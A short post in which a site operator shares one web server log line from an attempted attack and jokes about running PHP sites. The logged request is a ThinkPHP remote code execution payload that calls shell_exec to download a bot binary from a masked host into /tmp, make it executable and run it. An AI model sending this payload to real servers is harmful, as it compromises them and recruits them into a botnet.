By their queries, shall you know them

So this appeared in my logs

[15/Oct/2021:15:48:15 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://x.y.z.t/notabotnet/notabotnet.x86 -O /tmp/.notabotnet; chmod 777 /tmp/.notabotnet; /tmp/.notabotnet ThinkphpRep'

IP's changed.

Yeah, gotta love running sites.  Really gotta.  And yet another reason to move off PHP.